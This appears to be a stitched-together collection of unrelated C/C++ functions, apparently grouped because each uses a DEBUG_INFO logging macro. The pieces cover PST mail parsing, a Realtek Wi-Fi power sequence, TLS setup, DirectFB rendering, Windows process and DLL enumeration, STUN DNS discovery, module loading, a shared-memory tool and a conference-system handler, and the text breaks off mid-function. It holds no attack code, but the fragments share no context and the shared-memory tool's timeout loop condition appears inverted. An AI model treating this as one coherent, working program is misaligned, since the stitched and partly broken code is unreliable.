void process(pst_item *outeritem, pst_desc_tree *d_ptr)
{
struct file_ll ff;
pst_item *item = NULL;
char *result = NULL;
size_t resultlen = 0;
DEBUG_ENT("process");
memset(&ff, 0, sizeof(ff));
create_enter_dir(&ff, outeritem);
while (d_ptr) {
if (!d_ptr->desc) {
DEBUG_WARN(("ERROR item's desc record is NULL\n"));
ff.skip_count++;
}
else {
DEBUG_INFO(("Desc Email ID %"PRIx64" [d_ptr->d_id = %"PRIx64"]\n", d_ptr->desc->i_id, d_ptr->d_id));
item = pst_parse_item(&pstfile, d_ptr, NULL);
DEBUG_INFO(("About to process item @ %p.\n", item));
if (item) {
if (item->message_store) {
// there should only be one message_store, and we have already done it
DIE(("A second message_store has been found. Sorry, this must be an error.\n"));
}
if (item->folder && d_ptr->child) {
// if this is a folder, we want to recurse into it
pst_convert_utf8(item, &item->file_as);
printf("Folder \"%s\"\n", item->file_as.str);
process(item, d_ptr->child);
} else if (item->contact && (item->type == PST_TYPE_CONTACT)) {
if (!ff.type) ff.type = item->type;
// Process Contact item
if (ff.type != PST_TYPE_CONTACT) {
DEBUG_INFO(("I have a contact, but the folder isn't a contacts folder. Processing anyway\n"));
}
printf("Contact");
if (item->contact->fullname.str)
printf("\t%s", pst_rfc2426_escape(item->contact->fullname.str, &result, &resultlen));
printf("\n");
} else if (item->email && ((item->type == PST_TYPE_NOTE) || (item->type == PST_TYPE_SCHEDULE) || (item->type == PST_TYPE_REPORT))) {
if (!ff.type) ff.type = item->type;
// Process Email item
if ((ff.type != PST_TYPE_NOTE) && (ff.type != PST_TYPE_SCHEDULE) && (ff.type != PST_TYPE_REPORT)) {
DEBUG_INFO(("I have an email, but the folder isn't an email folder. Processing anyway\n"));
}
printf("Email");
if (item->email->outlook_sender_name.str)
printf("\tFrom: %s", item->email->outlook_sender_name.str);
if (item->subject.str)
printf("\tSubject: %s", item->subject.str);
printf("\n");
} else if (item->journal && (item->type == PST_TYPE_JOURNAL)) {
if (!ff.type) ff.type = item->type;
// Process Journal item
if (ff.type != PST_TYPE_JOURNAL) {
DEBUG_INFO(("I have a journal entry, but folder isn't specified as a journal type. Processing...\n"));
}
if (item->subject.str)
printf("Journal\t%s\n", pst_rfc2426_escape(item->subject.str, &result, &resultlen));
} else if (item->appointment && (item->type == PST_TYPE_APPOINTMENT)) {
char time_buffer[30];
if (!ff.type) ff.type = item->type;
// Process Calendar Appointment item
DEBUG_INFO(("Processing Appointment Entry\n"));
if (ff.type != PST_TYPE_APPOINTMENT) {
DEBUG_INFO(("I have an appointment, but folder isn't specified as an appointment type. Processing...\n"));
}
printf("Appointment");
if (item->subject.str)
printf("\tSUMMARY: %s", pst_rfc2426_escape(item->subject.str, &result, &resultlen));
if (item->appointment->start)
printf("\tSTART: %s", pst_rfc2445_datetime_format(item->appointment->start, sizeof(time_buffer), time_buffer));
if (item->appointment->end)
printf("\tEND: %s", pst_rfc2445_datetime_format(item->appointment->end, sizeof(time_buffer), time_buffer));
printf("\tALL DAY: %s", (item->appointment->all_day==1 ? "Yes" : "No"));
printf("\n");
} else {
ff.skip_count++;
DEBUG_INFO(("Unknown item type. %i. Ascii1=\"%s\"\n",
item->type, item->ascii_type));
}
pst_freeItem(item);
} else {
ff.skip_count++;
DEBUG_INFO(("A NULL item was seen\n"));
}
}
d_ptr = d_ptr->next;
}
close_enter_dir(&ff);
if (result) free(result);
DEBUG_RET();
}
/***********************************************************************************************************************
Function: DoSrvBusy
Description:
Called By:
Input:
Output:
Return:
Others:
************************************************************************************************************************/
Void CNetServer::DoSrvBusy(Socket_t sHandle)
{
DEBUG_INFO("%s %d \n", __FUNCTION__, __LINE__);
//CSock Sock( fd, false );
//SendMsg(Sock, L_RCF::MGS_FUNC_SERV_BUSY);
}
//
// Description:
// This routine deal with the Power Configuration CMDs parsing for RTL8723/RTL8188E Series IC.
//
// Assumption:
// We should follow specific format which was released from HW SD.
//
// 2011.07.07, added by Roger.
//
unsigned int HalPwrSeqCmdParsing(struct rtl8192cd_priv *priv, unsigned char CutVersion, unsigned char FabVersion,
unsigned char InterfaceType, WLAN_PWR_CFG PwrSeqCmd[])
{
WLAN_PWR_CFG PwrCfgCmd = {0};
unsigned int bPollingBit = FALSE;
unsigned int AryIdx=0;
unsigned char value = 0;
unsigned int offset = 0;
unsigned int pollingCount = 0; // polling autoload done.
unsigned int maxPollingCnt = 5000;
do {
PwrCfgCmd=PwrSeqCmd[AryIdx];
DEBUG_INFO("%s %d, ENTRY, offset:0x%x, cut_msk:0x%x, fab_msk:0x%x, if_msk:0x%x, base:0x%x, cmd:0x%x, msk:0x%x, value:0x%x\n",
__FUNCTION__, __LINE__, GET_PWR_CFG_OFFSET(PwrCfgCmd), GET_PWR_CFG_CUT_MASK(PwrCfgCmd),
GET_PWR_CFG_FAB_MASK(PwrCfgCmd), GET_PWR_CFG_INTF_MASK(PwrCfgCmd), GET_PWR_CFG_BASE(PwrCfgCmd),
GET_PWR_CFG_CMD(PwrCfgCmd), GET_PWR_CFG_MASK(PwrCfgCmd), GET_PWR_CFG_VALUE(PwrCfgCmd));
//2 Only Handle the command whose FAB, CUT, and Interface are matched
if((GET_PWR_CFG_FAB_MASK(PwrCfgCmd)&FabVersion)&&
(GET_PWR_CFG_CUT_MASK(PwrCfgCmd)&CutVersion)&&
(GET_PWR_CFG_INTF_MASK(PwrCfgCmd)&InterfaceType)) {
switch(GET_PWR_CFG_CMD(PwrCfgCmd))
{
case PWR_CMD_READ:
DEBUG_INFO("%s %d, PWR_CMD_READ\n", __FUNCTION__, __LINE__);
break;
case PWR_CMD_WRITE:
DEBUG_INFO("%s %d, PWR_CMD_WRITE\n", __FUNCTION__, __LINE__);
offset = GET_PWR_CFG_OFFSET(PwrCfgCmd);
//Read the value from system register
value = RTL_R8(offset);
value = value&(~(GET_PWR_CFG_MASK(PwrCfgCmd)));
value = value|(GET_PWR_CFG_VALUE(PwrCfgCmd)&GET_PWR_CFG_MASK(PwrCfgCmd));
//Write the value back to sytem register
RTL_W8(offset, value);
break;
case PWR_CMD_POLLING:
DEBUG_INFO("%s %d, PWR_CMD_POLLING\n", __FUNCTION__, __LINE__);
bPollingBit = FALSE;
offset = GET_PWR_CFG_OFFSET(PwrCfgCmd);
do {
value = RTL_R8(offset);
value=value&GET_PWR_CFG_MASK(PwrCfgCmd);
if(value==(GET_PWR_CFG_VALUE(PwrCfgCmd)&GET_PWR_CFG_MASK(PwrCfgCmd)))
bPollingBit=TRUE;
else
delay_us(10);
if(pollingCount++ > maxPollingCnt){
DEBUG_WARN("%s %d, PWR_CMD_POLLING, Fail to polling Offset[0x%x]\n", __FUNCTION__, __LINE__, offset);
return FALSE;
}
}while(!bPollingBit);
break;
case PWR_CMD_DELAY:
DEBUG_INFO("%s %d, PWR_CMD_DELAY\n", __FUNCTION__, __LINE__);
if(GET_PWR_CFG_VALUE(PwrCfgCmd) == PWRSEQ_DELAY_US)
delay_us(GET_PWR_CFG_OFFSET(PwrCfgCmd));
else
delay_us(GET_PWR_CFG_OFFSET(PwrCfgCmd)*1000);
break;
case PWR_CMD_END:
// When this command is parsed, end the process
DEBUG_INFO("%s %d, PWR_CMD_END\n", __FUNCTION__, __LINE__);
return TRUE;
break;
default:
DEBUG_ERR("%s %d, Unknown CMD!!\n", __FUNCTION__, __LINE__);
break;
}
}
AryIdx++;//Add Array Index
}while(1);
return TRUE;
}
/**
* Allocate a new TLS context
*
* @param tlsp Pointer to allocated TLS context
* @param method TLS method
* @param keyfile Optional private key file
* @param pwd Optional password
*
* @return 0 if success, otherwise errorcode
*/
int tls_alloc(struct tls **tlsp, enum tls_method method, const char *keyfile,
const char *pwd)
{
struct tls *tls;
int r, err;
if (!tlsp)
return EINVAL;
tls = mem_zalloc(sizeof(*tls), destructor);
if (!tls)
return ENOMEM;
if (!tlsg.up) {
#ifdef SIGPIPE
/* Set up a SIGPIPE handler */
(void)signal(SIGPIPE, sigpipe_handle);
#endif
SSL_library_init();
tlsg.up = true;
}
if (tlsg.tlsc++ == 0) {
DEBUG_INFO("error strings loaded\n");
SSL_load_error_strings();
}
switch (method) {
case TLS_METHOD_SSLV23:
tls->ctx = SSL_CTX_new(SSLv23_method());
break;
#ifdef USE_OPENSSL_DTLS
case TLS_METHOD_DTLSV1:
tls->ctx = SSL_CTX_new(DTLSv1_method());
break;
#endif
default:
DEBUG_WARNING("tls method %d not supported\n", method);
err = ENOSYS;
goto out;
}
if (!tls->ctx) {
err = ENOMEM;
goto out;
}
#if (OPENSSL_VERSION_NUMBER < 0x00905100L)
SSL_CTX_set_verify_depth(tls->ctx, 1);
#endif
if (method == TLS_METHOD_DTLSV1) {
SSL_CTX_set_read_ahead(tls->ctx, 1);
}
/* Load our keys and certificates */
if (keyfile) {
if (pwd) {
err = str_dup(&tls->pass, pwd);
if (err)
goto out;
SSL_CTX_set_default_passwd_cb(tls->ctx, password_cb);
SSL_CTX_set_default_passwd_cb_userdata(tls->ctx, tls);
}
r = SSL_CTX_use_certificate_chain_file(tls->ctx, keyfile);
if (r <= 0) {
DEBUG_WARNING("Can't read certificate file: %s (%d)\n",
keyfile, r);
err = EINVAL;
goto out;
}
r = SSL_CTX_use_PrivateKey_file(tls->ctx, keyfile,
SSL_FILETYPE_PEM);
if (r <= 0) {
DEBUG_WARNING("Can't read key file: %s (%d)\n",
keyfile, r);
err = EINVAL;
goto out;
}
}
err = 0;
out:
if (err)
mem_deref(tls);
else
*tlsp = tls;
return err;
}
static gpointer
_do_display(gpointer data)
{
DFBResult err;
DEBUG_INFO("thread _do_display inited");
MdwDefaultPlayerDisplay* display = (MdwDefaultPlayerDisplay*) data;
g_assert(display != NULL);
g_assert(display->main_queue != NULL);
gboolean to_exit = FALSE;
gboolean stopped = FALSE;
IDirectFBSurface *temp_surface = NULL;
guint temp_surface_width = 0;
guint temp_surface_height = 0;
DEBUG_INFO("thread _do_display: Sinalizing that I'm ready");
MdwMessage *m = mdw_message_new(MDW_MESSAGE_TYPE_READY, 0);
mdw_message_put(m, display->main_queue);
while (to_exit == FALSE) {
m = mdw_message_get(display->directfb_queue, TRUE);
switch(m->type) {
case MDW_MESSAGE_TYPE_UPDATE_POS:
{
g_assert(m->size == 0 && m->buffer == NULL);
g_assert(display->window != NULL);
err = display->window->MoveTo(display->window, display->x, display->y);
if (err != DFB_OK) {
DEBUG_WARN("Window::MoveTo failed:%s", DirectFBErrorString(err));
}
break;
}
case MDW_MESSAGE_TYPE_UPDATE_SIZE:
{
g_assert(m->size == 0 && m->buffer == NULL);
g_assert(display->window != NULL);
err = display->window->Resize(display->window, display->w, display->h);
if (err != DFB_OK) {
DEBUG_WARN("Window::Resize failed:%s", DirectFBErrorString(err));
}
if (stopped) {
display->surface->Clear(display->surface, 0x30, 0x80, 0x30, 0xFF);
display->surface->Flip(display->surface, NULL, 0);
}
break;
}
case MDW_MESSAGE_TYPE_RAISE_TO_TOP:
{
g_assert(m->size == 0 && m->buffer == NULL);
err = display->window->RaiseToTop(display->window);
if (err != DFB_OK) {
DEBUG_WARN("Window::RaiseToTop failed:%s", DirectFBErrorString(err));
}
if (stopped) {
display->surface->Clear(display->surface, 0x30, 0x80, 0x30, 0xFF);
display->surface->Flip(display->surface, NULL, 0);
}
break;
}
case MDW_MESSAGE_TYPE_LOWER_TO_BOTTOM:
{
g_assert(m->size == 0 && m->buffer == NULL);
g_assert(display->window != NULL);
err = display->window->LowerToBottom(display->window);
if (G_UNLIKELY(err != DFB_OK)) {
DEBUG_WARN("Window::LowerToBottom failed:%s", DirectFBErrorString(err));
}
break;
}
case MDW_MESSAGE_TYPE_FINALIZE:
{
g_assert(m->size == 0 && m->buffer == NULL);
DEBUG_INFO("thread _do_display: request to finalize");
to_exit = TRUE;
break;
}
case MDW_MESSAGE_TYPE_STOP:
{
g_assert(m->size == 0 && m->buffer == NULL);
stopped = TRUE;
break;
}
case MDW_MESSAGE_TYPE_RESUME:
{
g_assert(m->size == 0 && m->buffer == NULL);
stopped = FALSE;
break;
}
case MDW_MESSAGE_TYPE_DISPLAY_FRAME:
{
g_assert(m->size == sizeof(struct picture) && m->buffer != NULL);
struct picture *p = (struct picture*) m->buffer;
g_assert(p->data != NULL);
g_assert(p->width > 0);
g_assert(p->height > 0);
g_assert(p->bytes_per_pixel == 4);
if (stopped != TRUE) {
if (G_UNLIKELY(temp_surface == NULL || temp_surface_height != p->height || temp_surface_width != p->width )) {
g_assert(display->dfb != NULL);
if (G_LIKELY(temp_surface != NULL)) {
temp_surface->Release(temp_surface);
}
temp_surface = _create_surface(display->dfb, p->width, p->height);
temp_surface_width = p->width;
temp_surface_height = p->height;
}
if (G_UNLIKELY(temp_surface == NULL)) {
goto LABEL_end_of_blit;
}
g_assert(temp_surface_width > 0);
g_assert(temp_surface_height > 0);
g_assert(temp_surface != NULL);
//guint8* pixels;
void *pixels;
gint line_pitch;
const gint bytes_to_copy = p->width * p->height * p->bytes_per_pixel;
err = temp_surface->Lock(temp_surface, DSLF_WRITE, &pixels, &line_pitch);
if (G_UNLIKELY(err != DFB_OK)) {
DEBUG_WARN("IDirectFBSurface::Lock failed:%s", DirectFBErrorString(err));
goto LABEL_end_of_blit;
}
g_assert(bytes_to_copy == p->height * line_pitch);
memcpy(pixels, p->data, bytes_to_copy);
err = temp_surface->Unlock(temp_surface);
if (G_UNLIKELY(err != DFB_OK)) {
DEBUG_WARN("IDirectFBSurface::Unlock failed:%s", DirectFBErrorString(err));
goto LABEL_end_of_blit;
}
err = display->surface->StretchBlit(display->surface, temp_surface, NULL, NULL);
if (G_UNLIKELY(err != DFB_OK)) {
DEBUG_WARN("IDirectFBSurface::StretchBlit failed:%s", DirectFBErrorString(err));
goto LABEL_end_of_blit;
}
display->surface->Flip(display->surface, NULL, 0);
display->frames++;
}
LABEL_end_of_blit:
g_free(p->data);
break;
}
default:
{
DEBUG_ERROR("Message of type: %d not allowed", m->type);
g_assert_not_reached();
break;
}
}
mdw_message_free(m, TRUE);
}
if (temp_surface) {
temp_surface->Release(temp_surface);
}
DEBUG_INFO("thread _do_display dropping %d remaning messages", g_async_queue_length(display->directfb_queue));
g_async_queue_lock(display->directfb_queue);
while((m = mdw_message_get_unlocked(display->directfb_queue, FALSE)) != NULL) {
mdw_message_free(m, TRUE);
}
m = mdw_message_new(MDW_MESSAGE_TYPE_FINALIZED, 0);
mdw_message_put(m, display->main_queue);
g_async_queue_unlock(display->directfb_queue);
DEBUG_INFO("thread _do_display is down");
return NULL;
}
virtual ~CTestB() { DEBUG_INFO("func:%s[%d]\n", __FUNCTION__, __LINE__); }
int GetModuleInsertedProcess(const char * pPartDll,unsigned int **ppPids,int * pPidsSize)
{
char *pCmpDllName=NULL;
std::vector<unsigned int> procvecs;
#ifdef _UNICODE
int cmpdllnamesize=0;
#endif
HANDLE hProcSnap=INVALID_HANDLE_VALUE,hModSnap=INVALID_HANDLE_VALUE;
int ret;
BOOL bret;
int numget=0;
unsigned int *pRetPids = *ppPids;
unsigned int *pTmpPids=NULL;
int pidretsize=*pPidsSize;
PROCESSENTRY32 pentry;
unsigned int i;
if(pidretsize == 0 && pRetPids)
{
ret = ERROR_INVALID_PARAMETER;
goto fail;
}
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if(hProcSnap == INVALID_HANDLE_VALUE)
{
ret = LAST_ERROR_CODE();
ERROR_INFO("could not create module32 error(%d)\n",ret);
goto fail;
}
pentry.dwSize = sizeof(pentry);
bret = Process32First(hProcSnap,&pentry);
if(!bret)
{
ret = LAST_ERROR_CODE();
ERROR_INFO("could not get process entry error(%d)\n",ret);
goto fail;
}
DEBUG_INFO("Process ID: %d\n", pentry.th32ProcessID);
ret = __CheckProcessIdModuleInserted(pentry.th32ProcessID,pPartDll);
if(ret > 0)
{
procvecs.push_back(pentry.th32ProcessID);
numget ++;
}
while(Process32Next(hProcSnap,&pentry))
{
DEBUG_INFO("Process ID: %d\n",pentry.th32ProcessID);
ret = __CheckProcessIdModuleInserted(pentry.th32ProcessID,pPartDll);
if(ret > 0)
{
procvecs.push_back(pentry.th32ProcessID);
numget ++;
}
}
if(procvecs.size() > 0)
{
if(pidretsize <(int) procvecs.size())
{
pidretsize = procvecs.size();
pRetPids = (unsigned int*)calloc(sizeof(*pRetPids),pidretsize);
if(pRetPids == NULL)
{
ret = LAST_ERROR_CODE();
goto fail;
}
}
for(i=0; i<procvecs.size(); i++)
{
pRetPids[i] = procvecs[i];
}
}
if(hProcSnap != INVALID_HANDLE_VALUE)
{
CloseHandle(hProcSnap);
}
hProcSnap = INVALID_HANDLE_VALUE;
if(pRetPids != *ppPids && *ppPids)
{
free(*ppPids);
}
*ppPids = pRetPids;
*pPidsSize = pidretsize;
procvecs.clear();
return numget;
fail:
if(hProcSnap != INVALID_HANDLE_VALUE)
{
CloseHandle(hProcSnap);
}
hProcSnap = INVALID_HANDLE_VALUE;
if(pRetPids != *ppPids && pRetPids)
{
free(pRetPids);
}
pRetPids = NULL;
procvecs.clear();
SetLastError(ret);
return -ret;
}
static void srv_handler(int err, const struct dnshdr *hdr, struct list *ansl,
struct list *authl, struct list *addl, void *arg)
{
struct stun_dns *dns = arg;
struct dnsrr *rr, *arr;
(void)hdr;
(void)authl;
dns_rrlist_sort(ansl, DNS_TYPE_SRV, (size_t)dns->arg);
/* Find SRV answers */
rr = dns_rrlist_find(ansl, NULL, DNS_TYPE_SRV, DNS_CLASS_IN, false);
if (!rr) {
DEBUG_INFO("no SRV entry, trying A lookup on \"%s\"\n",
dns->domain);
sa_set_in(&dns->srv, 0, dns->port);
err = a_or_aaaa_query(dns, dns->domain);
if (err)
goto out;
return;
}
DEBUG_INFO("SRV answer: %s:%u\n", rr->rdata.srv.target,
rr->rdata.srv.port);
/* Look for Additional information */
switch (dns->af) {
case AF_INET:
arr = dns_rrlist_find(addl, rr->rdata.srv.target,
DNS_TYPE_A, DNS_CLASS_IN, true);
if (arr) {
sa_set_in(&dns->srv, arr->rdata.a.addr,
rr->rdata.srv.port);
DEBUG_INFO("additional A: %j\n", &dns->srv);
goto out;
}
break;
#ifdef HAVE_INET6
case AF_INET6:
arr = dns_rrlist_find(addl, rr->rdata.srv.target,
DNS_TYPE_AAAA, DNS_CLASS_IN, true);
if (arr) {
sa_set_in6(&dns->srv, arr->rdata.aaaa.addr,
rr->rdata.srv.port);
DEBUG_INFO("additional AAAA: %j\n", &dns->srv);
goto out;
}
break;
#endif
}
sa_set_in(&dns->srv, 0, rr->rdata.srv.port);
err = a_or_aaaa_query(dns, rr->rdata.srv.target);
if (err) {
DEBUG_WARNING("SRV: A lookup failed (%m)\n", err);
goto out;
}
DEBUG_INFO("SRV handler: doing A/AAAA lookup..\n");
return;
out:
resolved(dns, err);
}
/**
* Do a DNS Discovery of a STUN Server
*
* @param dnsp Pointer to allocated DNS Discovery object
* @param dnsc DNS Client
* @param service Name of service to discover (e.g. "stun")
* @param proto Transport protocol (e.g. "udp")
* @param af Preferred Address Family
* @param domain Domain name or IP address of STUN server
* @param port Port number (if 0 do SRV lookup)
* @param dnsh DNS Response handler
* @param arg Handler argument
*
* @return 0 if success, otherwise errorcode
*/
int stun_server_discover(struct stun_dns **dnsp, struct dnsc *dnsc,
const char *service, const char *proto,
int af, const char *domain, uint16_t port,
stun_dns_h *dnsh, void *arg)
{
struct stun_dns *dns;
int err;
if (!dnsp || !service || !proto || !domain || !domain[0] || !dnsh)
return EINVAL;
dns = mem_zalloc(sizeof(*dns), dnsdisc_destructor);
if (!dns)
return ENOMEM;
dns->port = service[strlen(service)-1] == 's' ? STUNS_PORT : STUN_PORT;
dns->dnsh = dnsh;
dns->arg = arg;
dns->dnsc = dnsc;
dns->af = af;
/* Numeric IP address - no lookup */
if (0 == sa_set_str(&dns->srv, domain, port ? port : dns->port)) {
DEBUG_INFO("IP (%s)\n", domain);
resolved(dns, 0);
err = 0;
goto out; /* free now */
}
/* Port specified - use AAAA or A lookup */
else if (port) {
sa_set_in(&dns->srv, 0, port);
DEBUG_INFO("resolving A query: (%s)\n", domain);
err = a_or_aaaa_query(dns, domain);
if (err) {
DEBUG_WARNING("%s: A/AAAA lookup failed (%m)\n",
domain, err);
goto out;
}
}
/* SRV lookup */
else {
char q[256];
str_ncpy(dns->domain, domain, sizeof(dns->domain));
(void)re_snprintf(q, sizeof(q), "_%s._%s.%s", service, proto,
domain);
DEBUG_INFO("resolving SRV query: (%s)\n", q);
err = dnsc_query(&dns->dq, dnsc, q, DNS_TYPE_SRV, DNS_CLASS_IN,
true, srv_handler, dns);
if (err) {
DEBUG_WARNING("%s: SRV lookup failed (%m)\n", q, err);
goto out;
}
}
*dnsp = dns;
return 0;
out:
mem_deref(dns);
return err;
}
int load_module_dynamic(struct mod **modp, const struct pl *modpath,
const struct pl *name)
{
char file[256];
struct mod *m = NULL;
int err = 0;
if (!name)
return EINVAL;
if (re_snprintf(file, sizeof(file), "%r\\%r", modpath, name) < 0) {
err = ENOMEM;
goto out;
}
err = mod_load(&m, file);
if (err)
goto out;
// set function pointers
{
pf_set_mem_alloc_cb pf = (pf_set_mem_alloc_cb)mod_sym(m, "set_mem_alloc_cb");
if (pf)
pf(mem_alloc);
}
{
pf_set_mem_deref_cb pf = (pf_set_mem_deref_cb)mod_sym(m, "set_mem_deref_cb");
if (pf)
pf(mem_deref);
}
{
pf_set_aucodec_register_cb pf = (pf_set_aucodec_register_cb)mod_sym(m, "set_aucodec_register_cb");
if (pf)
pf(aucodec_register);
}
{
pf_set_aucodec_unregister_cb pf = (pf_set_aucodec_unregister_cb)mod_sym(m, "set_aucodec_unregister_cb");
if (pf)
pf(aucodec_unregister);
}
{
pf_validate_dll pf = (pf_validate_dll)mod_sym(m, "validate_dll");
if (pf) {
int rc = pf();
if (rc) {
DEBUG_INFO("Failed to validate dll, rc = %d\n", rc);
err = ELIBBAD;
goto out;
}
} else {
DEBUG_INFO("No validate_dll() symbol\n");
err = ELIBBAD;
goto out;
}
}
err = mod_call_init(m);
if (err) {
goto out;
}
if (modp)
*modp = m;
out:
if (err) {
DEBUG_WARNING("module %r: %m\n", name, err);
}
return err;
}
int main(int argc, char* argv[])
{
int ret;
int i;
HANDLE hMapFile=NULL;
unsigned char* pMemBase=NULL;
FILE* fp=NULL;
DWORD stick,etick,ctick;
DEBUG_INFO("\n");
SDEBUG("\n");
ParseParam(argc,argv);
SDEBUG("\n");
DEBUG_INFO("\n");
hMapFile = CreateMapFile(st_pShareName,st_MemSize,st_CreateMem);
if(hMapFile== NULL)
{
ret = -(LAST_ERROR_CODE());
SDEBUG("can not %s %s memsize(%d:0x%x) error(%d)\n",
st_CreateMem ? "Create" : "Open",st_pShareName,st_MemSize,st_MemSize,ret);
ERROR_INFO("\n");
goto out;
}
DEBUG_INFO("\n");
SDEBUG("\n");
pMemBase = MapFileBuffer(hMapFile,st_MemSize);
if(pMemBase == NULL)
{
ret = -(LAST_ERROR_CODE());
SDEBUG("\n");
ERROR_INFO("\n");
goto out;
}
DEBUG_INFO("\n");
/*now to read from the file*/
if(st_pFromFile && st_WriteInit)
{
ret = fopen_s(&fp,st_pFromFile,"r");
if(fp == NULL)
{
ret = -(LAST_ERROR_CODE());
ERROR_INFO("\n");
goto out;
}
ret = fread(st_pBuffer,st_BufSize,1,fp);
if(ret != 1)
{
ret = -(LAST_ERROR_CODE());
fprintf(stderr,"could not read %d from %s (%d)\n",st_BufSize,st_pFromFile,ret);
goto out;
}
ret = WriteShareMem(pMemBase,st_WriteOffset,st_pBuffer,st_BufSize);
if(ret < 0)
{
ret = -(LAST_ERROR_CODE());
fprintf(stderr,"could not write at offset %d (0x%x) in mem (%d:0x%x) for size(%d:0x%x) error(%d)\n",st_WriteOffset,st_WriteOffset,st_MemSize,st_MemSize,
st_BufSize,st_BufSize,ret);
goto out;
}
}
else if(st_pToFile && st_ReadInit)
{
ret = fopen_s(&fp,st_pToFile,"w");
if(fp == NULL)
{
ret = -(LAST_ERROR_CODE());
ERROR_INFO("\n");
goto out;
}
ret = ReadShareMem(pMemBase,st_ReadOffset,st_pBuffer,st_BufSize);
if(ret < 0)
{
ret = -(LAST_ERROR_CODE());
fprintf(stderr,"could not read at offset (%d:0x%x) in mem (%d:0x%x) for size(%d:0x%x) error(%d)\n",
st_ReadOffset,st_ReadOffset,st_MemSize,st_MemSize,
st_BufSize,st_BufSize,ret);
goto out;
}
ret = fwrite(st_pBuffer,st_BufSize,1,fp);
if(ret != 1)
{
ret = -(LAST_ERROR_CODE());
fprintf(stderr,"could not write %s for size (%d:0x%x) error(%d)\n",st_pToFile,
st_BufSize,st_BufSize,ret);
goto out;
}
}
else if(st_WriteInit)
{
ret = WriteShareMem(pMemBase,st_WriteOffset,st_pBuffer,st_BufSize);
if (ret < 0)
{
ret = -(LAST_ERROR_CODE());
fprintf(stderr,"could not write (%s) at offset (%d:0x%x) in mem (%d:0x%x) for size (%d:0x%x) error (%d)\n",
st_pShareName,st_WriteOffset,st_WriteOffset,st_MemSize,st_MemSize,st_BufSize,st_BufSize,ret);
goto out;
}
fprintf(stdout,"Write(%s) offset(%d:0x%x):\n",st_pShareName,st_WriteOffset,st_WriteOffset);
for(i=0;i<st_BufSize;i++)
{
if ((i%16)==0)
{
fprintf(stdout,"\n0x%08x:\t",i);
}
fprintf(stdout," 0x%02x",st_pBuffer[i]);
}
fprintf(stdout,"\nsuccess\n");
}
else if(st_ReadInit)
{
ret= ReadShareMem(pMemBase,st_ReadOffset,st_pBuffer,st_BufSize);
if (ret < 0)
{
ret = -(LAST_ERROR_CODE());
fprintf(stderr,"could not read (%s) at offset (%d:0x%x) in mem (%d:0x%x) for size (%d:0x%x) error (%d)\n",
st_pShareName,st_ReadOffset,st_ReadOffset,st_MemSize,st_MemSize,st_BufSize,st_BufSize,ret);
goto out;
}
fprintf(stdout,"Read(%s) offset(%d:0x%x):\n",st_pShareName,st_ReadOffset,st_ReadOffset);
for(i=0;i<st_BufSize;i++)
{
if ((i%16)==0)
{
fprintf(stdout,"\n0x%08x:\t",i);
}
fprintf(stdout," 0x%02x",st_pBuffer[i]);
}
fprintf(stdout,"\nsuccess\n");
}
stick = GetTickCount();
etick = stick + st_Timeout * 1000;
ctick = stick;
while (st_Timeout == 0 || ctick >= etick)
{
Sleep(1000);
ctick = GetTickCount();
}
ret = 0;
out:
if(fp)
{
fclose(fp);
}
fp = NULL;
if(pMemBase)
{
UnmapViewOfFile(pMemBase);
}
pMemBase = NULL;
if(hMapFile)
{
CloseHandle(hMapFile);
}
hMapFile = NULL;
if(st_pBuffer)
{
free(st_pBuffer);
}
st_pBuffer = NULL;
st_BufSize = 0;
return 0;
}
// 20-2-2016 添加数据库的相关处理
int proccess_upper_cmpt_discussion_parameter( uint16_t protocol_type, void *data, uint32_t data_len ) //后期可能需要修改11/10。
{
tcmpt_discuss_parameter qu_dis_para, set_dis_para;
uint16_t send_data_len = 0; // 协议数据负载的长度
thost_system_set set_sys; // 系统配置文件的格式
if ( -1 == system_db_queue_configure_system_table( &set_sys ))
{ // load from memory(system.dat)
memcpy( &set_sys, &gset_sys, sizeof(thost_system_set));
}
if((protocol_type & CMPT_MSG_TYPE_MARK) == CMPT_MSG_TYPE_QUERY )
{
qu_dis_para.chairman_first = set_sys.chman_first ? ENABLE_VAL : FORBID_VAL;
qu_dis_para.chair_music = set_sys.chman_music ? ENABLE_VAL : FORBID_VAL;
qu_dis_para.auto_close = set_sys.auto_close ? ENABLE_VAL : FORBID_VAL;
qu_dis_para.discuss_mode = set_sys.discuss_mode & 0x07;
qu_dis_para.limit_speak_num = set_sys.speak_limit & 0xff;
qu_dis_para.limit_apply_num = set_sys.apply_limit & 0xff;
qu_dis_para.limit_chm_time = set_sys.chman_limitime ? ENABLE_VAL : FORBID_VAL;
qu_dis_para.limit_vip_time = set_sys.vip_limitime ? ENABLE_VAL : FORBID_VAL;
qu_dis_para.limit_speak_time = set_sys.spk_limtime & 0x3f;
send_data_len = sizeof(tcmpt_discuss_parameter);
send_upper_computer_command( CMPT_MSG_TYPE_RESPONSE |CMPT_MSG_TYPE_QUERY, \
DISCUSSION_PARAMETER, &qu_dis_para, send_data_len );
}
else if((protocol_type & CMPT_MSG_TYPE_MARK) == CMPT_MSG_TYPE_SET )// 设置保存系统状态值并设置系统状态
{
get_host_upper_cmpt_data( &set_dis_para, data, CMPT_DATA_OFFSET, sizeof(tcmpt_discuss_parameter));
DEBUG_RECV( &set_dis_para, sizeof(tcmpt_discuss_parameter), "Dis Param ");
send_upper_computer_command( CMPT_MSG_TYPE_RESPONSE |CMPT_MSG_TYPE_SET, \
DISCUSSION_PARAMETER, NULL, 0 ); // 第三个与第四个参数与协议有些出入，这里是根据黄工代码写的。协议是数据单元仅一个字节0，设置成功；非零设置失败。而黄工的没有数据单元，故这里写NULL
if( set_dis_para.discuss_mode == UPPER_CMPT_DISCUSS_FREE_MODE )// 数字会议系统没有自由模式
{
terminal_start_discuss( false );
return 0;
}
// 保存配置文件
if( (profile_dis_param_save_to_ram( &gset_sys, &set_dis_para ) != -1) && (-1 != profile_system_file_write_gb_param( profile_file_fd, &gset_sys )) )
{
Fflush( profile_file_fd );
// 设置系统状态
uint8_t temp_status = set_dis_para.auto_close;
if( temp_status != set_sys.auto_close )
{
// 自动关闭麦克风
find_func_command_link( MENUMENT_USE, MENU_AUTO_CLOSE_CMD, 0, &temp_status, 1 );
}
temp_status = set_dis_para.discuss_mode;
if( temp_status != set_sys.discuss_mode )
{
// 设置系统讨论模式
DEBUG_INFO("discuss mode = %d", temp_status);
find_func_command_link( MENUMENT_USE, MENU_DISC_MODE_SET_CMD, 0, &temp_status, 1 );
}
temp_status = set_dis_para.limit_speak_num;
if( temp_status != set_sys.speak_limit )
{
// 设置限制的发言人数
